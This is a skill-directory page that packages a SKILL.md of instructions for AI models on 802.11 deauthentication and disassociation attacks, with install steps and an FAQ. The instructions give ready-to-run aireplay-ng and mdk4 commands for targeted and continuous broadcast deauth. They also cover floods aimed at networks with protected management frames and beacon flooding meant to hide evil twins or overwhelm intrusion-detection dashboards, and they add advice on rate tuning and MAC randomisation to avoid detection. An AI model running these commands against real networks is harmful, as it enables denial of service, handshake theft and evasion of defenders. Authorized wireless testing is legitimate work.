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Offensive Deauth Disassoc

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SnailSploit
offensive-deauth-disassoc

Deauthentication and disassociation attacks against 802.11 networks — targeted single-client deauth for handshake capture, broadcast deauth for DoS (with authorization), action-frame attacks bypassing 802.11w (PMF), beacon flooding, mdk4 / aireplay-ng tooling, and rate-limit / PMF-aware operation. Use to coerce client reconnection (handshake capture, evil-twin roaming), as targeted DoS, or to test PMF posture.

Overview

PublisherSnailSploit
RepositoryClaude-Red
Skill nameoffensive-deauth-disassoc
Stars
7.4K
Forks
967
Bundled files
Instructions only
LicenseMIT
Links
  • Markdown instructions

    A SKILL.md file the model loads on demand, so it only costs tokens when a request actually matches.

  • Works with any LLM

    AI skills are plain Markdown, not provider-specific code, so this works with GPT, Claude, Gemini, Grok, or a local model.

  • Self-contained

    Everything the model needs lives in the instructions — no extra files to sync.

  • Open source

    Published by SnailSploit on GitHub. Read the source before you install it.

Installation

Install the Offensive Deauth Disassoc AI skill in TypingMind to use it with any LLM, or drop it into another agent that reads SKILL.md.

1

Install in TypingMind

TypingMind installs a skill straight from its GitHub folder — it reads SKILL.md, bundles the resource files, and stores the result locally.

  1. Open the app and go to Plugins → Skills.
  2. Choose "Install from GitHub".
  3. Paste the skill folder URL below and confirm.
    https://github.com/SnailSploit/Claude-Red/tree/main/Skills/wireless/offensive-deauth-disassoc
  4. Enable the skill in any chat where you want it available.
Plugins → Skills → Add skill → From GitHub URL, then paste the folder URL and press Continue.
2

Install in another agent

Any agent that reads the Agent Skills format can use this skill — copy the folder into that agent's skills directory.

Claude Code — .claude/skills
git clone --depth 1 https://github.com/SnailSploit/Claude-Red.git /tmp/Claude-Red
mkdir -p .claude/skills
cp -r /tmp/Claude-Red/Skills/wireless/offensive-deauth-disassoc .claude/skills/offensive-deauth-disassoc
Restart Claude Code after copying so it picks up the new skill.

Use it in TypingMind

Enable Offensive Deauth Disassoc in any TypingMind chat and the model takes it from there. Its name and description sit in the system prompt, and the moment a request matches, the model loads the full instructions itself — you never invoke it by hand, and it costs no tokens until it is actually used.

The model loads Offensive Deauth Disassoc on its own as soon as a request matches it.

Works with any AI model

AI skills are plain Markdown instructions rather than provider-specific code, so Offensive Deauth Disassoc is not tied to the model it was written for. Install it once in TypingMind and use it with GPT-5, Claude, Gemini, Grok, DeepSeek, Mistral, Llama, or a local model you run yourself — all on your own API keys.

  • Loaded only when it is needed

    The system prompt carries just the name and description. The instructions are fetched on the first matching request, so an idle skill costs nothing.

  • Switch models mid-chat

    Because the skill is instructions rather than code, changing model does not break it — the next model reads the same SKILL.md.

Skill instructions

This is the SKILL.md content the model loads. Read it before installing — a skill is instructions your model will follow.

Deauth / Disassoc Attacks

The most-used 802.11 management-frame attack: send a forged deauthentication or disassociation frame as the AP, and the client disconnects. Modern PMF (802.11w) authenticates these frames cryptographically — but most consumer and many enterprise deployments still don't require PMF.

Quick Workflow

  1. Identify target client + AP (BSSID, channel)
  2. Pick deauth scope: single client (quiet) vs. broadcast (loud, DoS)
  3. Verify PMF status — if required, classic deauth fails; pivot to action-frame attacks
  4. Send the deauth burst at the right rate

Single-Client Deauth (Preferred)

Used to force handshake capture, push client to evil twin, or test reconnection behavior.

bash
sudo aireplay-ng --deauth 5 \
  -a AA:BB:CC:DD:EE:FF \    # AP BSSID
  -c 11:22:33:44:55:66 \    # client MAC
  wlan0mon
  • --deauth 5 sends 5 deauths (10 frames — 5 to AP, 5 to client). 3–10 is usually enough.
  • More than 30 in a burst is unnecessarily noisy.

Broadcast Deauth (DoS, Use Sparingly)

bash
# Single AP, all clients
sudo aireplay-ng --deauth 0 -a AA:BB:CC:DD:EE:FF wlan0mon
# --deauth 0 = continuous

# Multiple APs from a list
sudo mdk4 wlan0mon d -B target_bssids.txt -c 1,6,11

Only with explicit authorization. Continuous broadcast deauth is a clear DoS signal and trips most WIPS within seconds.

PMF (802.11w) Awareness

PMF authenticates deauth/disassoc frames. Status visible in beacon RSN capabilities:

bash
sudo airodump-ng wlan0mon -c <ch> --bssid <BSSID>
# PMF column: Required / Capable / Off
PMF StatusDeauth Effect
OffClassic deauth works
Capable (optional)Works against clients without PMF, fails against PMF-enabled clients
RequiredClassic deauth ignored — must use action-frame attacks

Action-Frame Attacks Against PMF

PMF protects deauth/disassoc but doesn't always protect all action frames. Specific action types remain exploitable:

bash
# mdk4 multi-tool attacks
sudo mdk4 wlan0mon a -a <BSSID>     # auth attack: floods auth frames, AP eventually disconnects clients
sudo mdk4 wlan0mon m -t <BSSID>     # CTS frame attack — abuse virtual carrier sense
sudo mdk4 wlan0mon w -t <BSSID>     # WPA-Enterprise: SAE auth flood

Action frames the IEEE 802.11 spec marks as "may be unprotected" include some block-ack and channel-switch announcements — implementation-specific exploitation paths exist but require chipset-specific testing.

Beacon Flooding

Confuse clients (and WIPS) by flooding fake beacons:

bash
sudo mdk4 wlan0mon b -f beacon_essids.txt -c 6 -s 100
# Floods 100 beacons/sec for ESSIDs in the file

Use cases:

  • Hide your evil twin among noise
  • Stress-test client roaming logic
  • DoS WIPS dashboards (flood with thousands of fake APs)

Rate Tuning and Detection

BurstDefender Signal
3–10 deauth, single clientOften misclassified as roaming or RF noise
>30 deauth/sec from one sourceWIPS rule trips
Continuous broadcast deauthClear DoS — alert + ticket within minutes
Beacon flood >50/secSaturates WIPS dashboards

Randomize source MAC across burst-and-pause cycles to spread the signal.

Engagement Cheatsheet

bash
# 1. Recon — note PMF status per target
sudo airodump-ng wlan0mon -c <ch> --bssid <BSSID>

# 2. Single-client deauth for handshake capture
sudo aireplay-ng --deauth 3 -a <BSSID> -c <client> wlan0mon

# 3. PMF blocking? Try action-frame attacks
sudo mdk4 wlan0mon a -a <BSSID>

# 4. DoS scenario (authorized)
sudo aireplay-ng --deauth 0 -a <BSSID> wlan0mon

Reporting

Document for each test:

  • Target BSSID + ESSID + PMF status
  • Burst size, duration
  • Effect observed (client reconnected? handshake captured? DoS achieved?)
  • Detection signals defender would have seen

Key References

Frequently asked questions

What does the Offensive Deauth Disassoc AI skill do?

Deauthentication and disassociation attacks against 802.11 networks — targeted single-client deauth for handshake capture, broadcast deauth for DoS (with authorization), action-frame attacks bypassing 802.11w (PMF), beacon flooding, mdk4 / aireplay-ng tooling, and rate-limit / PMF-aware operation. Use to coerce client reconnection (handshake capture, evil-twin roaming), as targeted DoS, or to test PMF posture.

Why use Offensive Deauth Disassoc on TypingMind?

Because you install it once and use it with any model. Offensive Deauth Disassoc is plain Markdown rather than provider-specific code, so the same skill runs on GPT-5, Claude, Gemini, Grok, or a local model — and you can switch model mid-chat without it breaking. TypingMind runs on your own API keys, so you pay providers directly instead of a per-seat subscription, and your skills and chats stay in your own storage.

How do I install Offensive Deauth Disassoc in TypingMind?

Open Plugins → Skills → Install from GitHub in TypingMind and paste https://github.com/SnailSploit/Claude-Red/tree/main/Skills/wireless/offensive-deauth-disassoc. TypingMind reads its SKILL.md and installs it as a skill you can enable per chat.

Which AI models can use Offensive Deauth Disassoc?

Any model you connect in TypingMind. AI skills are plain Markdown instructions rather than provider-specific code, so GPT, Claude, Gemini, Grok, and local models can all load this skill when a request matches it.

How many AI models can I use with Offensive Deauth Disassoc?

As many as you like. As long as a model supports skills, you can use Offensive Deauth Disassoc with it — GPT, Claude, Gemini, Grok, DeepSeek, Mistral, Llama and more — all on TypingMind with your own API keys.

Is the Offensive Deauth Disassoc AI skill free?

Yes. It is published on GitHub by SnailSploit under the MIT license. You only pay your own AI provider for the tokens you use.

What are AI skills?

An AI skill is a reusable instruction bundle that teaches an AI model how to do one specific task. It follows the open Agent Skills format: a SKILL.md file with a name and description, plus any scripts, templates or reference files the model may need. The model reads the instructions only when your request matches the skill, so an installed skill costs nothing until it is used.

How are AI skills different from plugins or MCP servers?

A plugin or MCP server gives a model new tools to call — code that runs somewhere and returns a result. An AI skill gives the model knowledge and process instead: how to approach a task, which steps to follow, what good output looks like. Skills are plain Markdown, so they need no server, no API key and no runtime, and they work with any model.

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